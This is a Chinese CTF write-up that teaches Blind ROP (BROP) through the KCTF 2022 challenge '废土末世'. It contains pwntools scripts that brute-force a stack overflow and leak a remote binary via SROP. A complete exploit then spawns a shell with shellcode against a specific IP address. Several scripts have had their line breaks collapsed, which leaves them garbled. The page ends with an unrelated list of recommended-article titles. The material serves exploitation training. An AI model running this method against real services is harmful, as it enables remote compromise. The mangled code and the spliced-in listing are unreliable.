定义

来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的

基本思路

暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell

实战

接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程

泄露缓冲区长度

如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:

def get_overflow_length():global iolen=1while True:try:io=remote("221.228.109.254",10045)sa("hacker, TNT!\n",'a'*len)print("now trying length is "+str(len))res=io.recv()io.close()if "TNT TNT!" not in res:return len-1else:len+=1except EOFError:io.close()return len-1
print("overflow length is "+str(get_overflow_length()))

然后来看看结果

可以看到缓冲区长度应该是16

泄露程序结构

接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:

  • 正常运行
  • 等待输入或陷入死循环
  • 程序崩溃,接收到EOF
def probe(payload):global io try:io=remote('221.228.109.254',10031)sa("hacker, TNT!\n",payload)res=io.recv(timeout=3)if "TNT" in res:return "success"else:return "stuck"except:return "crash"

对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0到255,于是写下如下代码:

ans=open("ans.txt",'wb')
for i in range(256):ans.write(hex(i)+"----->"+probe('a'*16+chr(i))+'\n')

然后来看看爆破结果:

可以看到有两种情况都能让程序继续运行,分别是0xb0和0xce,我们来试一下:

这里会发现,当输入的是0xb0的时候程序直接重启了,所以直接推测输入0xb0是直接返回到了程序入口

当输入是0xce的时候是执行的正常流程。并且这里能够看出程序在读取输入的时候是调用了一个call了一个函数的,这样程序的结构才是输入,返回到下一个输出.

现在我们确定了原本程序的第十七个字节应该是0xce,以此为基础继续单字节爆破:

ans=open("ans.txt",'wb')
for i in range(256):ans.write(hex(i)+"----->"+probe('a'*16+'\xce'+chr(i))+'\n')

再爆破一字节:

到这里可以得到的结论就多起来了,首先是0x40,把爆破得到的三个字节组合一下:
0x4000ce,这不就是一个64位没开pie的程序的text段上的地址嘛

从这里我们大致猜测出了程序的架构,程序的保护情况(没开canary,没有pie)

再看这个0x60,说实话有点奇怪,为什么会有0x60,如果程序是64位没开pie,那么0x600000应该是数据段,正常来说应该不能执行的,但是如果本道题0x6000000段是rwx的呢,或者说没有开NX保护呢?都是有可能的,我们先暂且放一放这个0x60,继续通过0x40这里得到的结论来做

到这里我呢大概猜测出程序结构:

0x4000b0 程序入口

打印内容

call 读取输入

0x4000ce 打印 “TNT TNT!”

寻找gadget

首先要找的就是ret,寻找方式其实也很简单,现在我们已经知道了程序正常执行的地址,如果把返回地址改成0x400xxx,然后把返回地址的下一个地址改成0x4000ce,如果正常运行了则说明返回地址处填写的是一个以ret结尾的gadget,至于会不会是其它操作+ret这种格式,其实不用担心,因为如果是这样的话,那么后面更大的地址处也会出现ret,所以只需要取地址最大的那个gadget,就一定是纯ret指令的地址。

一开始让倒数第三位为0进行爆破,发现跑出来的只有0xb0和0xce这两个老熟人,于是换成0x4001xx来爆破:

ans=open("ans.txt",'wb')
for i in range(256):ans.write(hex(i)+"----->"+probe('a'*16+p64(0x400100+i)+p64(0x4000ce))+'\n')

找到了两个新的success,根据上面的结论,0x400011是什么我不知道,但是我知道0x400106一定是ret指令

接下来要泄露的是syscall,这里可能有人会有疑惑,按照以往rop的经验,现在不是应该去寻找类似pop rdi;ret这类可以设置寄存器的gadget吗,但是对于这道题来说,它既然代码段小的可怜,很有可能并没有这些寄存器,而是采用syscall的形式来做到输入输出。而且最后我们控制程序执行流也是落到syscall指令,最后的一点原因,syscall比较好找。

如何来找呢,回头看我们会发现,我们到这里了还没有关注过stuck,这个程序结构非常简单,所以stuck基本不可能是因为进入了死循环,那么stuck住了说明程序要获取输入了,有几种情况呢,比如执行到了syscall,比如执行到了call 读取输入这条指令。

我们现在分析出的程序结构,在获取输入的时候应该是通过call来完成的,而正确的返回地址是0x4000ce,call指令一般是五个字节,所以可以合理的分析出,如果返回地址被我们填成0x4000c9,程序应该会再次获取输入,也就是会stuck住,我们来看看结果:


大致整理一下,会stuck的有:
0xb5,0xb6,0xb8,0xc2,0xc7,0xc9,0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3

可以看到0xc9确实会stuck住,并且0xc7也会,一个syscall是两字节,这里猜测是0xc7为syscall,执行的是write,然后call 获取输入

到这里我们其实已经可以控制程序执行流了,只需要用SROP技术,先通过读入指定长度的数据控制rax,然后执行syscall,在后面设置好寄存器即可控制执行流。利用执行流执行write(1,0x400000,0x2000)即可把远程的程序直接leak下来,拿到ida里静态分析就舒服多了。

在具体做的时候要注意rop里不能用0xc9那里的call,会扰乱执行流,并且我们发现0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3这几个也可以让程序stuck,所以这里很容易想到这几个地址应该是获取输入的函数内的地址,所以这里避开call指令,直接调到函数入口处实现读入,所以返回地址填成0x40000ec试试看能不能成功:

io=remote('221.228.109.254',10001)
ret=0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)
io.send(payload)
sleep(1)
io.send('a'*15)
irt()


可以看到成功将程序本身打印出来了,我们接收一下,拿到二进制文件放进IDA里看看:

从IDA分析的结果来看,程序的结构和我们分析的基本一致。
放进gdb看一下发现0x600000居然是rwx段,所以说当初跳到0x6000xx的时候也能success

接下来就是思考如何getshell,这里其实直接srop写shellcode然后执行就可以了

如果0x600000段不是rwx的呢,也是可以做的,还是先通过srop将栈迁移到0x600000段上并且执行mprotect,因为程序段中有syscall ;call read这种代码片段,并且read函数在读入的时候是完全根据rsp来确定向哪里读入的,所以我们始终可以通过覆盖返回地址控制执行流。

最后附上解题exp:

from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
#context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io = process(['./ld.so','./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
#elf=ELF('./pwn')
#io = remote('47.106.122.102',48752)
#libc = ELF('./libc-2.23.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def get_overflow_length():global iolen=1while True:try:io=remote("221.228.109.254",10045)sa("hacker, TNT!\n",'a'*len)print("now trying length is "+str(len))res=io.recv()io.close()if "TNT TNT!" not in res:return len-1else:len+=1except EOFError:io.close()return len-1
def probe(payload):global io try:io=remote('221.228.109.254',10001)sa("hacker, TNT!\n",payload)res=io.recv(timeout=3)if "TNT" in res:return "success"else:return "stuck"except:return "crash"
def leak_ELF():io=remote('221.228.109.254',10001)io.recvuntil(b"hacker, TNT!\n")ret=0x400106sigframe = SigreturnFrame()sigframe.rax = 1sigframe.rdi = 1sigframe.rsi = 0x400000sigframe.rdx = 0x1000sigframe.rip = 0x4000c7payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)io.send(payload)sleep(1)io.send('a'*15)r=io.recv()with open("bin", "wb") as f:f.write(r)io.close()
io=remote('221.228.109.254',10057)
io.recvuntil(b"hacker, TNT!\n")sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800io.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))
sleep(1)io.send(b'a'*15)
sleep(1)io.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh()))io.interactive()

成功打通:

BROP入门之 KCTF 2022 废土末世相关推荐

  1. 【mysql入门笔记01 2022.9.27】

    mysql入门笔记01 2022.9.27 数据库概念 数据库管理系统 关系型数据库(RDBMS) 非关系型数据库(NoSQL) SQL概念 Mysql 版本 Mysql安装 Mysql启动 方式一 ...

  2. MyBatis入门配置(2022.7.16)

    为什么要学习MyBatis 1.传统的JDBC存在硬编码问题(驱动地址.密码.sql语句很麻烦) 2.访问数据的步骤繁琐(set和get) MyBatis是什么 1.MyBatis是一款优秀的持久层框 ...

  3. 零基础如何入门网络安全?2022年专业学习路线看这篇就够了

    前景 很多零基础朋友开始将网络安全作为发展的大方向,的确,现如今网络安全已经成为了一个新的就业风口,不仅大学里开设相关学科,连市场上也开始大量招人. 那么网络安全到底前景如何?大致从市场规模.政策扶持 ...

  4. 洛谷 数论入门相关题目--2022.01.22

    P2926 [USACO08DEC]Patting Heads S 拍头 https://www.luogu.com.cn/problem/P2926 P3383 [模板]线性筛素数 https:// ...

  5. c4droid入门教程(2022干货)- 手机C4DROID编辑器

    最后于2022-6-4更新 此文章拒绝一切形式转载.如果在网上看到文章,作者非"yuanwow"/"元小旦"即为无授权转载!!!原文地址https://blog ...

  6. 3小时快速入门html5+css(2022)

    字体图标-iconfont 1.引入样式表 2.引入内容 <link rel="stylesheet" href="./iconfont/iconfont.css& ...

  7. 2022.4月份科研记录【日记】

    2022.4月份科研记录[日记] 2022.4.1 愚人节 周五 晴 2022.4.3 据说这是假期第一天 周日 晴 2022.4.4 清明节的第二天 周一 晴 2022.4.5 清明节 周二 晴 2 ...

  8. web前端全套教程,入门必备

    WEB前端在编程界已经是非常根深蒂固,其发展也是异常宽广. 很多人选择WEB前端,可能是因为WEB前端容易入门,而且不需要太多专业基础.随着前端的人才越来越多,企业面试要求也越来越高,进阶高级前端需要 ...

  9. 信奥中的数学 数论篇 相关资料汇总(2022.07.07)

    数论入门书籍推荐 数论入门书籍推荐_dllglvzhenfeng的博客-CSDN博客_数论入门应该看什么书 数学女孩系列书籍 数学女孩系列书籍_dllglvzhenfeng的博客-CSDN博客 信息学 ...

最新文章

  1. redmine2.4.2 插件安装
  2. HDU - 4725 The Shortest Path in Nya Graph(最短路+思维)
  3. 如何使用SAP Intelligent Robotic Process Automation自动操作Excel
  4. mysql 取左_MySQL select语句从字符串左侧获取5个字符
  5. 004-React入门概述
  6. webase crud查看所有表_Laravel-Gii 可视化代码生成工具 CRUD +GUI
  7. 学校校车运营各项安全管理制度_学校校车接送安全管理制度(通用3篇)
  8. scala模板写入es_Spark——scala 实用小方法
  9. 生成的头_谷歌新款怪物制造机,用GAN一键生成定制版哥斯拉
  10. 苹果iOS开发深入浅出Cocoa之类与对象
  11. C# :弧度角度转换
  12. JS中this是什么
  13. 武汉大学计算机学院2018夏令营,武汉大学
  14. tensorflow学习笔记——获取训练数据集和测试数据集
  15. 蓝天学校计算机教学反思,小学四年级上册《飞向蓝天的恐龙》教学反思
  16. 互联网消费金融---互联网金融原理与实务【郭勤贵......等人著】的学习
  17. 【课后习题】高等数学第七版下第十二章 无穷级数 第二节 常数项级数的审敛法
  18. 用声卡实现的存储示波器
  19. Mysql中使用关键字name做字段名
  20. selenium对弹窗(alert)的处理

热门文章

  1. iphone调整屏幕方向_如何锁定iPhone或iPad的屏幕方向
  2. @PageableDefault
  3. OpenCV快速入门五:色彩空间转换
  4. 模板:求图的强连通分量(SCC)
  5. 微信上看到的一篇文章,为什么保险公司一直在招人~
  6. iOS - CAEmitterlayer粒子发射器
  7. 2003-2021年高铁列车信息
  8. python七段数码管绘制实验报告_Python绘制七段数码管实例代码
  9. php base64保存为图片
  10. matlab外推法确定搜索区间的程序,《机械优化设计》复习题